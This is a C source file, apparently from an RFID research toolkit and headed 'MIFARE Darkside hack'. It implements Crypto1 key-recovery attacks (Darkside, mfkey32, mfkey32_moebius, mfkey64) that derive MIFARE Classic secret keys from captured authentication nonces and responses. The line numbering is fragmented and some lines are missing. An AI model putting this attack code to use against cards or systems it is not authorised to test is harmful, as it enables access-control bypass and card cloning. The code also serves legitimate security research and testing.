1 //-----------------------------------------------------------------------------
6 // This code is licensed to you under the terms of the GNU GPL, version 2 or,
7 // at your option, any later version. See the LICENSE.txt file for the text of
9 //-----------------------------------------------------------------------------
10 // MIFARE Darkside hack
11 //-----------------------------------------------------------------------------
14 #include "crapto1/crapto1.h"
17 int inline compare_uint64(const void *a
, const void *b
) {
18 if (*(uint64_t *)b
== *(uint64_t *)a
) return 0;
19 if (*(uint64_t *)b
< * (uint64_t *)a
) return 1;
23 // create the intersection (common members) of two sorted lists. Lists are terminated by -1. Result will be in list1. Number of elements is returned.
24 uint32_t intersection(uint64_t *listA
, uint64_t *listB
) {
25 if (listA
== NULL
|| listB
== NULL
)
28 uint64_t *p1
, *p2
, *p3
;
32 while (*p1
!= UINT64_C(-1) && *p2
!= UINT64_C(-1)) {
33 if (compare_uint64(p1
, p2
) == 0) {
37 while (compare_uint64(p1
, p2
) < 0) ++p1
;
38 while (compare_uint64(p1
, p2
) > 0) ++p2
;
45 // Darkside attack (hf mf mifare)
46 // if successful it will return a list of keys, not just one.
47 uint32_t nonce2key(uint32_t uid
, uint32_t nt
, uint32_t nr
, uint32_t ar
, uint64_t par_info
, uint64_t ks_info
, uint64_t **keys
) {
49 struct Crypto1State
*states
;
54 uint8_t ks3x
[8], par
[8][8];
55 uint64_t key_recovered
;
57 // Reset the last three significant bits of the reader nonce
60 for (pos
= 0; pos
< 8; pos
++) {
61 ks3x
[7 - pos
] = (ks_info
>> (pos
* 8)) & 0x0F;
62 uint8_t bt
= (par_info
>> (pos
* 8)) & 0xFF;
64 par
[7 - pos
][0] = (bt
>> 0) & 1;
65 par
[7 - pos
][1] = (bt
>> 1) & 1;
66 par
[7 - pos
][2] = (bt
>> 2) & 1;
67 par
[7 - pos
][3] = (bt
>> 3) & 1;
68 par
[7 - pos
][4] = (bt
>> 4) & 1;
69 par
[7 - pos
][5] = (bt
>> 5) & 1;
70 par
[7 - pos
][6] = (bt
>> 6) & 1;
71 par
[7 - pos
][7] = (bt
>> 7) & 1;
74 unionstate
.states
= lfsr_common_prefix(nr
, ar
, ks3x
, par
, (par_info
== 0));
76 if (!unionstate
.states
) {
81 for (i
= 0; unionstate
.keylist
[i
]; i
++) {
82 lfsr_rollback_word(unionstate
.states
+ i
, uid
^ nt
, 0);
83 crypto1_get_lfsr(unionstate
.states
+ i
, &key_recovered
);
84 unionstate
.keylist
[i
] = key_recovered
;
86 unionstate
.keylist
[i
] = -1;
88 *keys
= unionstate
.keylist
;
92 // recover key from 2 different reader responses on same tag challenge
93 bool mfkey32(nonces_t
*data
, uint64_t *outputkey
) {
94 struct Crypto1State
*s
, *t
;
96 uint64_t key
= 0; // recovered key
97 bool isSuccess
= false;
100 uint32_t p640
= prng_successor(data
->nonce
, 64);
102 s
= lfsr_recovery32(data
->ar
^ p640
, 0);
104 for (t
= s
; t
->odd
| t
->even
; ++t
) {
105 lfsr_rollback_word(t
, 0, 0);
106 lfsr_rollback_word(t
, data
->nr
, 1);
107 lfsr_rollback_word(t
, data
->cuid
^ data
->nonce
, 0);
108 crypto1_get_lfsr(t
, &key
);
109 crypto1_word(t
, data
->cuid
^ data
->nonce
, 0);
110 crypto1_word(t
, data
->nr2
, 1);
111 if (data
->ar2
== (crypto1_word(t
, 0, 0) ^ p640
)) {
114 if (counter
== 20) break;
117 isSuccess
= (counter
== 1);
118 *outputkey
= (isSuccess
) ? outkey
: 0;
123 // recover key from 2 reader responses on 2 different tag challenges
124 // skip "several found keys". Only return true if ONE key is found
125 bool mfkey32_moebius(nonces_t
*data
, uint64_t *outputkey
) {
126 struct Crypto1State
*s
, *t
;
128 uint64_t key
= 0; // recovered key
129 bool isSuccess
= false;
131 uint32_t p640
= prng_successor(data
->nonce
, 64);
132 uint32_t p641
= prng_successor(data
->nonce2
, 64);
134 s
= lfsr_recovery32(data
->ar
^ p640
, 0);
136 for (t
= s
; t
->odd
| t
->even
; ++t
) {
137 lfsr_rollback_word(t
, 0, 0);
138 lfsr_rollback_word(t
, data
->nr
, 1);
139 lfsr_rollback_word(t
, data
->cuid
^ data
->nonce
, 0);
140 crypto1_get_lfsr(t
, &key
);
142 crypto1_word(t
, data
->cuid
^ data
->nonce2
, 0);
143 crypto1_word(t
, data
->nr2
, 1);
144 if (data
->ar2
== (crypto1_word(t
, 0, 0) ^ p641
)) {
147 if (counter
== 20) break;
150 isSuccess
= (counter
== 1);
151 *outputkey
= (isSuccess
) ? outkey
: 0;
156 // recover key from reader response and tag response of one authentication sequence
157 int mfkey64(nonces_t
*data
, uint64_t *outputkey
) {
158 uint64_t key
= 0; // recovered key
159 uint32_t ks2
; // keystream used to encrypt reader response
160 uint32_t ks3
; // keystream used to encrypt tag response
161 struct Crypto1State
*revstate
;
163 // Extract the keystream from the messages
164 ks2
= data
->ar
^ prng_successor(data
->nonce
, 64);
165 ks3
= data
->at
^ prng_successor(data
->nonce
, 96);
166 revstate
= lfsr_recovery64(ks2
, ks3
);
167 lfsr_rollback_word(revstate
, 0, 0);
168 lfsr_rollback_word(revstate
, 0, 0);
169 lfsr_rollback_word(revstate
, data
->nr
, 1);
170 lfsr_rollback_word(revstate
, data
->cuid
^ data
->nonce
, 0);
171 crypto1_get_lfsr(revstate
, &key
);
172 crypto1_destroy(revstate
);